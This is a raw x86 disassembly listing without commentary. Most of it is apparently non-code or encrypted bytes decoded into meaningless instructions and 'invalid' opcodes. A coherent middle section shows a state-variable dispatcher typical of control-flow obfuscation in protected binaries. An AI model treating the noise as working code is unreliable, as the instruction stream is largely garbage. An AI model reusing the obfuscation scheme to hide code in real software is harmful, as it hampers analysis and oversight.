lea esi, [edi + 3]
cmpsd dword [esi], dword es:[edi]
scasb al, byte es:[edi]
add byte [ebp - 0x74221622], bl
sbb al, 0x46
test al, 0x73
dec edi
dec edx
sahf
lahf
lds edx, [esi - 0x7f48bd39]
mov al, 0xaa
nop
int3
add dword [esi - 0x1a655749], eax
xchg edi, eax
call 0xb032d60d
mov dh, 0x4d
loop 0x684e8800
sti
jns 0x684e87a3
xor eax, 0xc3bec144
test al, 0xfb
lodsb al, byte [esi]
nop
mov edx, 0x9f529981
sbb eax, 0xbdfed11f
test dword [eax + 0x6301bbf0], ecx
arpl word [ebx + 0x10cd2ea3], cx
ret
xor dword [edi], esi
sal bl, cl
retf
adc bh, cl
or al, byte [ecx + edx*4 + 0x748558ee]
invalid
pop ss
js 0x684e9211
cmc
aaa
mov al, 0xd3
and al, 0xba
scasd eax, dword es:[edi]
and ch, byte [edx - 0x1b917919]
mov ah, 4
jmp 0xb809f42
in eax, dx
fisttp qword [ebx - 0x7d27aceb]
and dword [edi], edx
mov ecx, 0xd4fc627d
cmp edx, dword [ecx + 0x8a6a31b]
lahf
jmp 0x1ecba1fc
mov al, byte [0xda686927]
mov byte [0xf753b9ee], al
scasd eax, dword es:[edi]
mov edi, 0x5b8de4ee
int1
or al, 0xa6
nop
int3
mov dword [0x50adc4f4], eax
sbb ecx, dword [0x85ed49c4]
cld
cmpsd dword [esi], dword es:[edi]
pop ebp
pop ds
jl 0x684ea705
lodsb al, byte [esi]
dec eax
loopne 0x684ea6cf
push esp
adc ch, byte [ebx - 0x35437c73]
sar dword [esi + 0x718bc362], cl
pop esi
aaa
ror dword [ecx - 0x609235a3], cl
sbb dword [eax + 0x68f4f169], 0xffffffd4
xor eax, 0x66cc9b6
mov byte [ecx - 0x5a1e7b0a], ah
scasd eax, dword es:[edi]
sbb dword [esi], esi
cmp dword [edi + 0x658244c1], ebx
scasb al, byte es:[edi]
mov ebp, 0xb5830241
in eax, dx
push 0x3beb1850
popfd
invalid
retf 0xbed3
sti
sbb ah, byte [ecx]
lodsd eax, dword [esi]
ret 0x4393
xchg edx, eax
ljmp 0xc0e5
cmc
daa
mov cs, word [esi]
daa
mov dl, 0xbc
mov esp, 0x75292ea0
lea ecx, [ecx + ebp*4 - 0xd]
pop esi
mov al, byte [0x98804302]
shl byte [0x1ccf2257], cl
mov eax, 0x4277a8f5
out 0xab, eax
cdq
pop es
xor bh, byte [eax]
push edi
sbb al, 0xc8
mov al, 0xb6
adc dword [edx], edx
fstp qword [eax + 0x11aac48]
add edi, dword [ebx]
stc
and al, 0x34
fadd qword [edi + 3]
shl esp, cl
jns 0x684ebb6d
mov ecx, 0x6e01f56c
xchg byte [ecx], bh
sahf
fld qword [edx + ebp]
popfd
add al, byte [ecx]
iretd
push eax
xor bl, dh
invalid
invalid
xchg dword [esi + 9], ecx
and eax, 0xa97f4017
jg 0x684ed019
retf
and al, 0x68
sub eax, 0x78c3b62d
into
fisttp word [edx + edx*2 + 0x73]
jg 0x684ed01f
xchg esp, eax
dec edi
test byte [edx + ebp*2 + 0x4c], 0xd9
aaa
fsub st(0), st(0)
or edx, dword [ebp - 0x48]
arpl word [esi + ecx*2 + 0x63], cx
das
shl dword [ebx + 0x18261adc], cl
mov ecx, 0xb554cb33
push esi
pop es
cmp dword [eax + 0x44], edx
test eax, 0x4acfa1a4
out 0xe5, al
or ebx, dword [ebx]
in eax, dx
sti
movsd dword es:[edi], dword [esi]
adc byte [ebp + 0x2d], cl
invalid
wait
adc eax, 0x8032775e
pop eax
shl byte [eax + 0x67], cl
sbb dh, byte [eax - 0x5f1f0b33]
cmp dword [edx], esi
mov bh, byte [ebp + 0x30a8276e]
fcom dword [eax]
salc
ret 0xb324
cmp dword [eax + ebp*2 + 0x1c], ebx
invalid
mov al, byte [0xb11e7ce8]
aaa
out 0x50, al
in al, dx
dec ebx
inc eax
pop ds
xor bh, byte [ecx - 0x4f45448b]
aaa
mov ebp, 0x50982302
cmp eax, 0xe99e6b6e
pushal
push ebx
adc esp, dword [edi + 0x56db428a]
jbe 0x684eda71
xor byte [eax], bl
setl byte [eax - 0xd]
sbb eax, 0x476ab216
test dword [eax - 0x32a04163], ebp
out 0xc9, eax
sbb eax, 0xc5578d1e
push edi
mov eax, 0x3c27c27b
arpl word [si + 0x3467], bp
xlatb
imul ebp, dword [edi + 0x5928ac39], 0xaf9f0721
jnp 0x684edacf
daa
cmp al, 0x67
arpl word [edi + 0x69d76734], bp
scasd eax, dword es:[edi]
cmp dword [eax + ebp - 0x60f8dea7], ebp
scasd eax, dword es:[edi]
xor dword [ecx - 0x4a347c9a], esi
aam 0x8c
xor al, byte [edx + edx + 0x68]
push cs
push esp
mov bl, 0x25
jnp 0x684edab3
mov byte [0x350868e9], al
int1
sbb edx, dword [ebx + 0x4b]
and edi, dword [ebx + eax*4 - 0x68f69791]
jo 0x684edb0b
jmp 0x684edbb2
cmpsb byte [esi], byte es:[edi]
sti
push ebp
invalid
nop
jmp 0x684ee52b
nop
mov dword [ebp - 0x190], 0xdc8c5
mov dword [ebp - 0x18c], 0
mov dword [ebp - 0x198], 0x619a7
mov dword [ebp - 0x194], 0
mov ecx, dword [ebp - 0x190]
mov ebx, dword [ebp - 0x18c]
mov eax, dword [ebp - 0x198]
mov edx, dword [ebp - 0x194]
add eax, ecx
adc edx, ebx
mov dword [ebp - 0x1a0], eax
mov dword [ebp - 0x19c], edx
mov eax, dword [ebp - 0x1a0]
xor eax, 0x13e26c
or eax, dword [ebp - 0x19c]
je 0x684f7988
mov edx, 0x13e26c
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0xdff62
or eax, dword [ebp - 0x19c]
je 0x684f1c25
mov edx, 0xdff62
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0xd96d4
or eax, dword [ebp - 0x19c]
je 0x684f30e5
mov edx, 0xd96d4
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0xd6248
or eax, dword [ebp - 0x19c]
je 0x684f2685
mov edx, 0xd6248
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0xcd06e
or eax, dword [ebp - 0x19c]
je 0x684f45a5
mov edx, 0xcd06e
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x9d78d
or eax, dword [ebp - 0x19c]
je 0x684f5a65
mov edx, 0x9d78d
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x92fe7
or eax, dword [ebp - 0x19c]
je 0x684ee845
mov edx, 0x92fe7
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x752a8
or eax, dword [ebp - 0x19c]
je 0x684f0765
mov edx, 0x752a8
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x4fd10
or eax, dword [ebp - 0x19c]
je 0x684ef2a5
mov edx, 0x4fd10
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x4541d
or eax, dword [ebp - 0x19c]
je 0x684efd05
mov edx, 0x4541d
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x424dd
or eax, dword [ebp - 0x19c]
je 0x684f11c5
mov edx, 0x424dd
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x3fe14
or eax, dword [ebp - 0x19c]
je 0x684f64c5
mov edx, 0x3fe14
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x250ad
or eax, dword [ebp - 0x19c]
je 0x684f5005
push 0xadba0000
push eax
add al, byte [eax]
mov edx, 0x250ad
mov eax, 0
cmp edx, dword [ebp - 0x1a0]
sbb eax, dword [ebp - 0x19c]
jl 0x684f798b
mov eax, dword [ebp - 0x1a0]
xor eax, 0x9ed7
or eax, dword [ebp - 0x19c]
je 0x684f6f25
mov eax, dword [ebp - 0x1a0]
xor eax, 0x1934a
or eax, dword [ebp - 0x19c]
je 0x684f3b45
jmp 0x684f798b
clc
jae 0x684ee7f3
pop ebp
or byte [ebp - 0x341f0f6a], ah
pop ss
add eax, 0x1fd6c410
xchg ebx, eax
int1
or dword [eax + 0x40], edx
pop esi
shl dword [ebp + 0x7d3a8b0e], 0x15
movsd dword es:[edi], dword [esi]
push cs
mov edi, dword [edx]
jge 0x684ee878
mov al, byte [0xea117c3e]
push cs
out dx, al
sbb edx, dword [ebx]
xchg ebp, eax
loop 0x684ee883
ret 0xc167
int1
xor edx, dword [esi + 0x7f3ce67f]
fdivr st(0)
in eax, dx
mov edx, 0xca9a03fb
test byte [esi - 0x4c6f5143], ah
push edi
sti
add ebx, dword [edx - 0x597b0d36]
mov ebp, 0x57b390ae
dec esi
pushfd
xor eax, dword [eax + edi + 0x1f94b7a4]
xor eax, 0x134342e8
test dword [ecx + edx*4 - 0x9c452f2], eax
adc eax, dword [ebp - 0x52f16e7c]
cmp esi, esi
fidivr dword [ebx + 0x4c]
int1
jnp 0x684ee90a
popfd
mov edi, 0xea9f157b
xchg al, ch
pop es
jg 0x684ee89c
cmp dword [edi + 0x3ec8b947], ecx
ror dword [edx + edx*8 + 0x35], cl
dec edx
wait
or dword [ecx + 0x24], 0x2c
outsd dx, dword [esi]
or al, byte [ebx + 5]
jae 0x684ee85d
and bl, byte fs:[ebp - 3]
jecxz 0x684ee8e9
call 0x3c730500
mov ah, 0xa0
inc edi
enter 0xc0d, 0xffffffffffffff9e
adc al, 6
bound ebx, qword [ebx]
inc eax
scasd eax, dword es:[edi]
add eax, 0xb0e00479
xchg ebp, eax
cmp byte [ecx], 0x93
les ecx, [ecx + 0x7c]
push cs
xor byte [ebx + ebx*4], cl
out dx, al
test esi, ebx
cmp cl, cl
mov dl, 0x63
inc byte [esi]
enter 0xffffffffffff9157, 0xffffffffffffffec
jne 0x684ee975
salc
dec esi
push esp
inc ebx
push ebx
push eax
fstp xword [esi - 0x4fe0f805]
push es
inc eax
cmp byte [ecx], bh
add esp, dword fs:[edi + 0x28]
cmp byte [ebp - 0x6e], dh
aas
cmp eax, dword [ebx]
pop ecx
adc al, 0xc3
xor dword [ecx - 0x8363bda], 0x2d
xor dword [ecx], 0xe
mov dl, 0x75
sbb al, 0xf3
jle 0x684ee96b
sti
add byte [eax + 0x77dff4cc], dl
aam 0x1a
push cs
adc dword [ebp - 0x757d75d1], 0x1c
ret
jns 0x684ee9dd
or eax, 0xd0997fe2
mov dh, 0x52
mov dl, 0xf2
dec edi
loop 0x684ee9ef
cdq
sal byte [esi + 0x4ff2b252], 1
dec edi
inc ebx
mov esp, dword [eax + eax*2 + 0x1540889b]
hlt
rcr byte [eax + eax*4], cl
sal dword [edx], 0x37
jnp 0x684eea1b
jmp 0x684ee96e
fcomi st(7)
dec ebp
loopne 0x684ee9a5
popfd
hlt
arpl word [esi + edi + 0x74], si
inc esi
imul ebx, dword [ecx - 0x3f], 0xede463fb
pop ecx
sar ebx, 0x63
in al, 0xed
in al, 0xb0
pop ebx
jge 0x684ee9f5
mov byte es:[0xca7d6c55], al
movsd dword es:[edi], dword [esi]
inc eax
fst dword [edx - 0xf]
mov eax, dword [0xebcd19e0]
salc
push esi
test dword [eax - 0x252c6f96], edx
add al, 0xc8
fdiv dword [esi + 0x5645932e]
mov dh, 0x2e
xchg ebx, eax
inc ebp
push esi
xchg ebp, eax
push ss
fistp dword [ebx + 0x34]
nop
int3
scasd eax, dword es:[edi]
popal
and dword [ebx + 0x111ac762], esi
mov eax, dword [0x88809760]
mov eax, dword [0xfad3854e]
mov ss, word [edx]
mov bl, 0x72
imul ebx, dword [ebx], 0x49b0653a
push ds
or edi, dword [ecx]
cmp byte [edi - 0x63], ah
xchg ebp, eax
das
outsb dx, byte [esi]
pop es
les ebp, [ebx + 0x44]
mov byte [0xdeb31c90], al
add ah, byte [ecx + 0x5a]
push eax
or al, 0xf5
inc ebp
jl 0x684ef33a
aaa
push edx
dec edi
lahf
cmp dword [eax], edi
cld
and byte [ecx], cl
sbb dword es:[ecx - 0x1baf9c5a], esi
mov al, byte [0x73d176f1]
nop
dec esp
push ebx
in al, dx
invalid
pop es
pop ebx
in eax, dx
cwde
pop ecx
and byte [eax + 0x18924c9c], 0x1b
or byte [ebp - 0x7c877cd3], dl
sbb dword [edx + 0x3f], edx
mov ebx, dword [ebp + 0x36be7b7b]
in eax, 0xeb
in al, dx
fistp dword gs:[ebx]
popfd
mov bh, byte [ebx - 0x25]
wait
mov esi, 0x3cdc880b
pushal
and al, 0xbd
aad 0xf3
stosd dword es:[edi], eax
push esp
loop 0x684ef35d
mov ebx, dword [esi - 0x19]
adc eax, 0x93766439
push edi
fsub dword [ecx]
adc dword [ebx - 0x79], ebx
mov dh, 0x26
mov al, byte [0x5886fe23]
pop edi
xchg edi, eax
and ebx, edx
hlt
push esp
scasd eax, dword es:[edi]
aad 0xc1
mov ecx, eax
inc ebp
leave
in eax, dx
ja 0x684efd65
stosd dword es:[edi], eax
int3
ret 0xa62a
xchg ebx, eax
xchg ecx, eax
out 0xda, al
mov ch, 0xab
sbb eax, ebp
pop ss
rcl dword [eax + ebp*4 + 0x33], cl
inc eax
add al, 0xd1
rcr byte [ebp + 0x36], cl
nop
int3
scasd eax, dword es:[edi]
aam 0xb6
mov eax, dword [0x9a22632c]
sbb eax, 0xda4c0c4a
sbb byte [ebx - 3], ah
das
jae 0x684f078f
out dx, eax
pop ds
std
inc esi
mov cl, 0xee
insd dword es:[edi], dx
imul ebx, edi, 0x17
stosb byte es:[edi], al
aad 0x18
and byte [eax - 0x26], 0x8b
mov cs, word [ecx - 0x32]
fdiv dword [eax - 0x471cf8d0]
pop es
jecxz 0x684f074a
add al, 0xed
cwde
cmpsd dword [esi], dword es:[edi]
and ebp, dword [esi - 0x7dbd08a6]
das
or eax, 0xe524bad6
pushal
mov edi, 0xd43ce6e1
pop ecx
adc eax, ebp
sbb eax, 0xd845aef1
test edi, ebx
and al, byte [ecx + 3]
xor ch, byte [ebx - 0x289a914c]
dec ecx
in eax, dx
stosb byte es:[edi], al
jg 0x684f0810
jo 0x684f07b1
xchg byte [edi - 0x51], ch
xor eax, 0x95a56b58
test eax, 0xf307078a
mov dword [0x9448541c], eax
pop es
pop es
mov dword [0x9448541c], eax
out dx, al
mov edi, 0xd5bb504a
int3
jo 0x684f07ce
retf
mov ah, 0x17
lodsb al, byte [esi]
dec ebp
pop esi
lodsb al, byte [esi]
mov ebp, 0x4c1bcca5
aaa
push esi
push 0xc42df5e2
imul edi, dword [esi - 0x51], 0x578693ba
mov esi, 0xd20b0630
and ebx, ecx
mov ah, 0x27
xchg edi, eax
and dword [eax + 0x60990d0], ebx
inc esi
dec esp
in al, dx
cmpsd dword [esi], dword es:[edi]
loopne 0x684f0846
lock sub dword [edi + 0x26605c1], ebx
add bh, ch
std
xlatb
sub al, 0x95
mov esp, dword [eax - 0x28444924]
imul ecx, dword [esi], 0xcc902b23
pop ecx
mov dl, 0xb4
mov bh, 0x1b
movsd dword es:[edi], dword [esi]
out dx, al
xchg edx, eax
loopne 0x684f08d2
test eax, 0x7da1779d
jb 0x684f0844
popfd
ja 0x684f0805
jge 0x684f0859
jb 0x684f0844
aaa
hlt
je 0x684f0861
push cs
sub eax, 0x844acaec
invalid
fmul qword [edi - 0x5a]
ja 0x684f11fe
insb byte es:[edi], dx
rcr byte [esi - 0x2eb13e07], 0xf3
ret 0xde1f
pushal
nop
add edi, eax
je 0x684f11a2
lodsd eax, dword [esi]
and al, 0xea
xor al, cl
adc edx, dword [edx + 1]
xor dword [edx + 4], ebp
int1
inc esp
fucomp st(2)
xchg byte [eax*4 - 0x2129a3c3], bh
lds ebx, [esi + 0x13]
xchg ecx, eax
push esi
sub byte [esi - 0x5ab5424b], dl
movsd dword es:[edi], dword [esi]
mov bl, 0xc2
xor ah, byte [esi - 0x33]
push ebp
jl 0x684f11eb
dec eax
push ebp
xchg ebx, eax
xchg esp, eax
invalid
stosb byte es:[edi], al
jbe 0x684f1247
or byte [eax + edx*4 + 0xd], bl
mov bl, 0xb2
pop esp
push ss
sbb ah, 0xce
push 0xe92377f6
call 0xe97bc874
idiv ch
or ah, ch
jmp 0x6a995f7b
xchg edx, eax
pushaw
fsub st(2), st(0)
pop edi
cmovl ebx, dword [edi - 0xb14f48a]
invalid
or edx, esi
xor byte ds:[0xffffb945], 0x48
lodsb al, byte [esi]
dec ebx
lds esp, [eax + edi*2 - 0x8b46f77]
xchg ecx, eax
cmp eax, 0x67e9cc90
pop ebp
add byte [eax], al
movsd dword es:[edi], dword [esi]
not dh
jo 0x684f1c0a
test byte [0x9a97789d], bl
pop edi
mov eax, 0x16b76d6
call 0x403ca42
imul esp, dword [ebx + 0x3a798dc1], 0xffffffe8
cmp dword [ecx], esi
mov eax, 0x42cbca3c
mov ebx, 0x5f258077
ret
sbb ebx, dword [ecx - 0x26fe5a1e]
invalid
sub esp, dword [ebp + 0x768282a6]
int1
movsb byte es:[edi], byte [esi]
jmp 0x684f3148
out dx, al
retf
mov eax, dword [0x1bdb7079]
push es
mov ecx, 0xa05f1c4a
retf
popfd
jo 0x684f3b27
dec edx
ja 0x684f3b88
nop
fsubr st(3), st(0)
invalid
sbb al, 0x6b
xchg edx, eax
push ebp
pop eax
and al, 0x48
lodsd eax, dword [esi]
ret
xor byte [edi + ebx*4 + 0x4c], cl
cmc
cmp ebx, dword [ebx + 0x27]
xor byte [edi], dh
mov al, 0xb5
nop
int3
cmp al, 0xfb
jb 0x684f4592
int3
mov byte [0xa2979d76], al
int 0xd8
or dh, dl
loope 0x684f4fb9
sub al, 0xd5
pop edx
inc ecx
scasb al, byte es:[edi]
invalid
pop ecx
push ecx
cmp edx, ebx
mov bl, 0x11
and al, 0xc7
insd dword es:[edi], dx
push esi
shr ah, 0x70
in eax, 0x9d
lodsd eax, dword [esi]
push esp
call 0x27fa1ba6
arpl word [esi + 0x5b55ef22], dx
dec ebp
sub byte [eax + ecx*8], 0x12
in al, dx
jns 0x684f5004
insd dword es:[edi], dx
mov ch, 0xdf
adc byte [edx - 0x5e6893b0], 0xbc
scasd eax, dword es:[edi]
cmp ch, bh
mov byte [0xc6862187], al
xchg dh, al
mov al, 0xf3
enter 0x38b4, 0x2d
invalid
add byte [ebx - 0x1a], dh
jae 0x684f4fed
jo 0x684f4f94
xor cl, byte [edi - 0x76]
dec esp
out 0xac, al
xlatb
sub eax, 0x1792a46b
ror edi, 1
int3
insd dword es:[edi], dx
cwde
rol byte fs:[edi + 0x26], cl
and dword [ecx], edx
wait
test al, 7
and byte [eax], ah
dec ebx
pop ss
cmc
mov dword [esi], ecx
push es
and eax, 0x9a40dde1
dec ecx
fdivr dword [ebp + 0x22]
mov dl, 0xf
imul ebx, dword [0x75f84836], 0xc31b5ffe
sub dword [ebp - 0x6d502ebc], 0xe1bd95b9
pop ebx
mov bh, 0xce
in eax, 0x32
lcall 0x9bb4, 0x66bf0486
sub byte [eax + 0x4f], 0x84
xchg edx, eax
aas
xchg esp, eax
mov bh, 0x99
push ds
mov ch, byte [ecx + 0x73eb7e58]
push cs
in eax, dx
push esi
sbb al, 0xdb
salc
daa
push edi
ja 0x684f5a8e
cwde
inc ecx
and dword [edi], 0xffffffd0
salc
jb 0x684f5b1a
dec eax
out 0x8e, al
and eax, 0xe3fb0694
jmp 0x684f5ae3
cpuid
or byte [eax - 0x53afcff0], bh
or eax, 0x187b7c07
bnd retf 0x50a3
pop esi
ret 0xed97
mov dl, 0x72
invalid
dec ebx
sti
push ecx
enter 0x7a2b, 4
retf
push edi
and byte fs:[edi - 0x5891a2c7], 0xae
stosb byte es:[edi], al
sub ah, byte [eax + 0x40a611b1]
inc edi
sal byte [edx + 0x7f], 1
les esp, [ebp + 0x2d]
adc ebp, 0xffffffde
pop esi
xor dword [edx - 0x5e], eax
out dx, al
js 0x684f6ec9
scasb al, byte es:[edi]
imul ebp, edx, 0x10
sub dword [edx + 0x31acc910], 0x18cb1c18
popfd
idiv dword [edi + 0x3d]
add al, 0xad
lodsb al, byte [esi]
loop 0x684f6f5d
invalid
nop
jmp 0x684f798c
nop
jmp 0x684f798c
nop
jmp 0x684f798c
nop
add esp, 0xe80
pop ebx
pop edi
pop ebp
ret